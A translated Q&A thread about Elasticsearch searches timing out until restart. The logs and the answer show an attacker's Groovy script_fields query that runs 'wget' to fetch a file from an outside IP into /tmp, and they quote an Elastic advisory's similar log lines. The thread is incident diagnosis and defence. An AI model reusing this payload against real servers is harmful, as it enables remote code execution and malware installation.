mongodb - Elasticsearch 在每次搜索请求时超时，直到重新启动

Question

这有点尴尬，因为 elasticsearch 的全部目的是搜索，但不知何故我的已经失去了这样做的能力。

My Configuration

重点:

我在负载均衡器下获得了 2 个 Elasticsearch 实例。

我有 3 个配置了副本集的 MongoDB 实例。

我安装了river(不知道有没有关系)，这个:https://github.com/richardwilly98/elasticsearch-river-mongodb/wiki

Synopsis of the problem

Elasticsearch 已运行 5 天，其索引的完整大小小于 1MB。

Elasticsearch 已经连续运行 4 天没有问题，速度真快。

所有其他请求都执行良好，除了GET 'http://codename.es.domain:9200/_search'

任何类型的搜索。

More Information

集群运行状况良好。MongoDB 很好。我可以创建新索引并索引更多文档。

基本上它甚至不会超时，除非我停止请求。

从 NodeJS 使用官方 elasticsearch 客户端: https://www.npmjs.com/package/elasticsearch

我收到:

{
  "error": {
      "message": "Request Timeout after 30000ms"
    }
}

Logs that created the problem

[

2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][3], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][3]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script458.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [events][1], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][1]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script457.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script460.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][0], node[eExNWov7SluNvzvydS_BTQ], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.search.SearchParseException: [events][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
    at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script461.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,807][DEBUG][action.search.type       ] [Saint Anna] [events][2], node[Oq7k-P26RoabKCjZ_YmlIw], [R], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [events][2]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
    at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script461.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,809][DEBUG][action.search.type       ] [Saint Anna] [events][4], node[eExNWov7SluNvzvydS_BTQ], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238]
org.elasticsearch.search.SearchParseException: [events][4]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:681)
    at org.elasticsearch.search.SearchService.createContext(SearchService.java:537)
    at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:509)
    at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:264)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:231)
    at org.elasticsearch.search.action.SearchServiceTransportAction$5.call(SearchServiceTransportAction.java:228)
    at org.elasticsearch.search.action.SearchServiceTransportAction$23.run(SearchServiceTransportAction.java:559)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.groovy.GroovyScriptCompilationException: MultipleCompilationErrorsException[startup failed:
Script462.groovy: 1: expecting anything but ''\n''; got it anyway @ line 1, column 310.
   ll){sb.append(str);sb.append("
                                 ^

1 error
]
    at org.elasticsearch.script.groovy.GroovyScriptEngineService.compile(GroovyScriptEngineService.java:124)
    at org.elasticsearch.script.ScriptService.getCompiledScript(ScriptService.java:353)
    at org.elasticsearch.script.ScriptService.compile(ScriptService.java:339)
    at org.elasticsearch.script.ScriptService.search(ScriptService.java:475)
    at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
    at org.elasticsearch.search.SearchService.parseSource(SearchService.java:665)
    ... 9 more
[2015-04-30 05:05:59,811][DEBUG][action.search.type       ] [Saint Anna] All shards failed for phase: [query]

显然下面这些日志发生得更早，并且在某个时刻发生了这种情况:

[2015-04-30 05:05:59,811][DEBUG][action.search.type       ] [Saint Anna] All shards failed for phase: [query]

在那之后没有任何工作直到重新启动。

Current Logs

[2015-04-30 08:14:02,174][DEBUG][action.search.type       ] [Saint Anna] [4496] Failed to execute fetch phase
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/fetch/id]]
Caused by: org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/wie.bia": error=2, No such file or directory]; nested: IOException[error=2, No such file or directory]; 
    at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253)
    at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
    at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
    at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:868)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:862)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)
[2015-04-30 08:14:03,021][DEBUG][action.search.type       ] [Saint Anna] [4512] Failed to execute fetch phase
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/fetch/id]]
Caused by: org.elasticsearch.script.groovy.GroovyScriptExecutionException: IOException[Cannot run program "/tmp/wie.bia": error=2, No such file or directory]; nested: IOException[error=2, No such file or directory]; 
    at org.elasticsearch.script.groovy.GroovyScriptEngineService$GroovyScript.run(GroovyScriptEngineService.java:253)
    at org.elasticsearch.search.fetch.script.ScriptFieldsFetchSubPhase.hitExecute(ScriptFieldsFetchSubPhase.java:74)
    at org.elasticsearch.search.fetch.FetchPhase.execute(FetchPhase.java:211)
    at org.elasticsearch.search.SearchService.executeFetchPhase(SearchService.java:481)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:868)
    at org.elasticsearch.search.action.SearchServiceTransportAction$FetchByIdTransportHandler.messageReceived(SearchServiceTransportAction.java:862)
    at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at java.lang.Thread.run(Thread.java:745)

Really bad solution to the problem

启动并重新运行的唯一方法是重新启动。

这个问题在我们以前的主机上就已经出现了。

我们必须每三天重新启动一次 elasticsearch， 但情况一直在恶化，直到我们不得不每小时重新启动一次。

我正在努力避免这种情况，有什么建议吗？

Answer 1

问题解决:

tl;dr:

原因:对我们不安全的服务器的机器人攻击。

根据elasticsearch发表的一篇文章:

https://www.elastic.co/blog/scripting-security/

1. Don’t run Elasticsearch open to the public

采取的行动:我们将 iptables 规则添加到我们的 puppet 服务器以应用我们所有的 elasticsearch 服务器。

我们犯了那个错误，不幸的是我们付出了代价。我们现在回来了。

Investigation - Longer Part

嗯，根据日志，我发现了一些非常可疑的东西

[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@1451c238] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

我将删减主要部分:

exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")

这是机器人黑客的形式，因为我们没有叫 xiao 的人，或者我们没有在中国托管我们的服务器(根据 GEO-IP)，我们怀疑这条线。

根据上面提到的文章:

We have recently seen malicious users taking advantage of publicly available Elasticsearch servers to gain access to the host systems. There are a few ways to monitor to see if you have been affected by this security breach.

The most recent attack is generating Elasticsearch logs similar to the following:

[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.

You should also monitor for abnormal system load and perform a thorough audit of your system.

Make sure that if you detect any exploited system that you take the steps described above to secure your Elasticsearch nodes once you have removed or re-installed the affected systems.

黑客应用了一些恶意查询，导致我们的 elasticsearch 停止运行。

我们重新启动了服务器并添加了 Iptables，然后我们又恢复了业务。